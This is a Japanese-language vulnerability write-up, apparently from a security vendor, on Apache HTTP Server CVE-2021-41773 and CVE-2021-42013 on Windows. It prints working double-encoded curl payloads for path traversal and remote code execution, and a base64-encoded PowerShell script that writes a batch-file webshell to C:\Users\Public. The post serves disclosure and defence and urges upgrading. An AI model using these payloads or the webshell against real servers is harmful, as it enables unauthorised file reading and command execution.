TeamT5 はJapan IT Weekに出展します
技術分析

Apache HTTP Server(Windows)2021 ハイリスクのセキュリティ脆弱性の詳細

2022.01.03D39
Share:

はじめに

Apache HTTP Serverは、クロスプラットフォームの利便性から幅広く使用されているオープンソースのWebサーバソフトウェアです。最近、Apache HTTP Serverにおいて、2つのハイリスクの脆弱性(CVE-2021-41773およびCVE-2021-42013)の存在が明らかになりました。インターネット上で公開されている脆弱性の利用についての詳細のほとんどは、Linuxシステムがメインとなっていますが、当社はWindowsにもこの脆弱性の問題が存在していることを把握しており、本記事で脆弱性の利用に関する詳細を明らかにします。また、ハッキング攻撃のターゲットにならないように、Apacheをできるだけ早く最新バージョンにアップデートすることをおすすめします。
meme.jpg

脆弱性について

研究員は特殊なHTTPリクエストを送信し、Apacheサーバの脆弱性を利用することでパスの列挙やリモートコード実行の攻撃が可能となることを発見しました。以下はcurlコマンドで実装したLinuxのペイロード(Payload)です:
攻撃の結果1:システムファイルを任意にダウンロード(Path Traversal)
curl -s --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32 %65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/ etc/passwd"
攻撃の結果2:リモートコード実行(Remote Code Execution)
curl -s -d "echo;id" --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32 %65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/ bin/sh"
脆弱性が発生する原因
はじめに、上記の攻撃の構文を例にすると、Apache 2.4.50では、脆弱性が適切に修正されていないため、double encodeにより、2つの脆弱性(CVE-2021-41773およびCVE-2021-42013)を同時に突く攻撃が可能となります。これは、Apacheが外部のHTTPリクエストを処理する時に、ap_process_request_internal関数を呼び出してURLを処理することが原因となっています。この関数では、はじめにap_normalize_path関数を呼び出してURLを1回デコードし、次にap_unescape_url関数を呼び出して2回デコードします。図1からかわるように、Apache 2.4.50は脆弱性を修正するのに必要なコードが不完全です。元の571行では、エンコード後のパスのスケープをチェックしていなかったことが確認でき、576行から対応するチェックが追加されましたが、依然としてチェックが不完全なため、double encodeによりバイパスが可能です。
pic 1_eng.png
図1:Apache 2.4.49と2.4.50のコード
攻撃の構文経過は2回のDecodeを経ます:
http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32
%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh
http://127.0.0.1/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/
%2e%2e/%2e%2e/%2e%2e/bin/sh
そのため、このURI Decodeは最終的に以下のようになります:
http://127.0.0.1/icons/../../../../../../../../../../bin/sh
上記の簡単な説明からわかるように、元のApacheはユーザーから送信されたパスのエスケープを完全にチェックすることができないため、攻撃者は悪意のあるpayloadを入力して攻撃できます。
続いて、Windowsプラットフォームの利用方法とケースに焦点を当てます:

PoC on Windows

  • 当社は公式ウェブサイトからApacheをダウンロードし、攻撃対象として設定しました。(IP: 192.168.56.161)
攻撃の結果1:システムファイルを任意にダウンロード(Path Traversal)
図2はC:/Windows/win.iniのファイル内容を読み取った例です。
pic 2.png
図2:システムファイルを任意にダウンロード
攻撃の結果2:リモートコード実行(Remote Code Execution)
1.cmd.exeでpowershellを実行し、C:\Users\Public\ にc.batを書き込みます。cgiプログラムには正確なhttp header responseがないため、apacheはstatus code 500を返しますが、scriptの実行は成功しています。下図3をご参照ください。
pic 3.png
図3:実行結果画面
  1. 次にc.batで任意のコマンドを実行することで、実行結果を確認できます。(図4)
pic 4.png
図4:実行結果画面
これは、Process Monitorで記録されたプログラムのプロセスです。(図5):
pic 5.png
図5:Process Monitorの画面
Process Monitorのプロセス実行履歴を注意深く観察すると、コマンドに特殊文字が含まれている場合、ダブルクオーテーションで囲まれることがわかります。e.g. : cmd.exe "/c powershell.exe -NoProfile -EncodedCommand ..."。cmd.exeの特徴から、コマンドは正常に実行されます。
cmd.exe magic parser
Payloadが引用符を使用しても実行できる理由を研究するため、当社はさらにcmdで異なる引用符が使用された際の結果を分析しました。
  • help documentation
pic 6-2.png
図6:cmd実行画面
  • Surprise!
pic 7.png
図7:cmd実行画面
Command Similar
cmd.exe "/c dir"cmd.exe /c dir"
cmd.exe "/c dir "cmd.exe /c dir "
cmd.exe ~!@#$%^&*()_+{}:"<>?/c dircmd.exe /c dir
cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir "cmd.exe /c dir "
cmd.exe ~!@#$%^&*()_+{}:"<>?/cdircmd.exe /c dir
cmd with powershell.exe
Command Result
powershell.exe -c write-output 11
powershell.exe -c write-output "11
powershell.exe -c write-output 1"1
powershell.exe -c write-output ""11
powershell.exe -c write-output 1""1
powershell.exe -c write-output """The string is missing the terminator: ".
powershell.exe -c write-output "1""The string is missing the terminator: ".
powershell.exe -c write-output ""1"1
powershell.exe -c write-output "1"1"11
powershell.exe -c write-output """"The string is missing the terminator: ".
powershell.exe -c write-output "1""1"The string is missing the terminator: ".
powershell.exe -c write-output """""The string is missing the terminator: ".
powershell.exe -c write-output """1"""1
powershell.exe -c write-output """"1"""1
powershell.exe -c write-output """1""""1
powershell.exe -c write-output """1"""""1
powershell.exe -c write-output """""1"""1
powershell.exe -c write-output """1""""""2"""1"2
powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAiADEAThe string is missing the terminator: ".
powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==1
powershell.exe -en d""wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==1
powershell.exe -en d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==1
powershell.exe -en "dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==1
powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="1
powershell.exe -en ""dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==1
powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==""1
powershell.exe -en "d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="1
powershell write C:\Users\Public\c.bat
以下はPowershell scriptをエンコードした内容です:
  • JABzAHQAcgA9AEAAIgANAAoAQABlAGMAaABvACAAbwBmAGYAIAAmACYAIABlAGMAaABvACAAQwBvAG4AdABlAG4AdAAtAHQAeQBwAGUAOgB0AGUAeAB0AC8AcABsAGEAaQBuACAAJgAmACAAZQBjAGgAbwAuAA0ACgBlAGMAaABvACAAJQAxAA0ACgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAE4AbwBMAG8AZwBvACAALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0AQwBvAG0AbQBhAG4AZAAgACIAJQAxACAAfAAgAE8AdQB0AC0AZgBpAGwAZQAgAC0ARQBuAGMAbwBkAGkAbgBnACAAdQB0AGYAOAAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAByAC4AdAB4AHQAIgANAAoAdAB5AHAAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgBkAGUAbAAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgAiAEAADQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABzAHQAcgAgAHwAIABPAHUAdAAtAGYAaQBsAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAGEAcwBjAGkAaQAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABjAC4AYgBhAHQA
以下はPowershell scriptをデコードした内容です:
$str=@"
@echo off && echo Content-type:text/plain && echo.
echo %1
powershell.exe -NoLogo -NoProfile -Command "%1 | Out-file -Encoding utf8 -FilePath C:\Users\Public\r.txt"
type C:\Users\Public\r.txt
del C:\Users\Public\r.txt
"@
Write-Output $str | Out-file -Encoding ascii -FilePath C:\Users\Public\c.bat

影響と提案

  • Apacheを最新バージョンにアップデートすることをおすすめします。

付録 cgi-bin how to work

  • インターネット上のほとんどのLinux PoCは、POST dataの方式を使用しています。ここではGET parameterを使用し、その違いを説明します。

demo.bat

@echo off && echo Content-type:text/plain && echo.
echo %1

test with demo.bat

  • リモートテスト 遠端測試.png
  • デコードで文字が印刷されない 解碼無法印出字元.png
  • 実際のシステム実行結果と一致 與實際上系統執行結果一致.png

参考文献

*画像のソース: Pixabay
2022.01.03D39
Share:

Related Post

We use cookies to provide you with the best user experience. By continuing to use this website, you agree to ourPrivacy & Cookies Policy.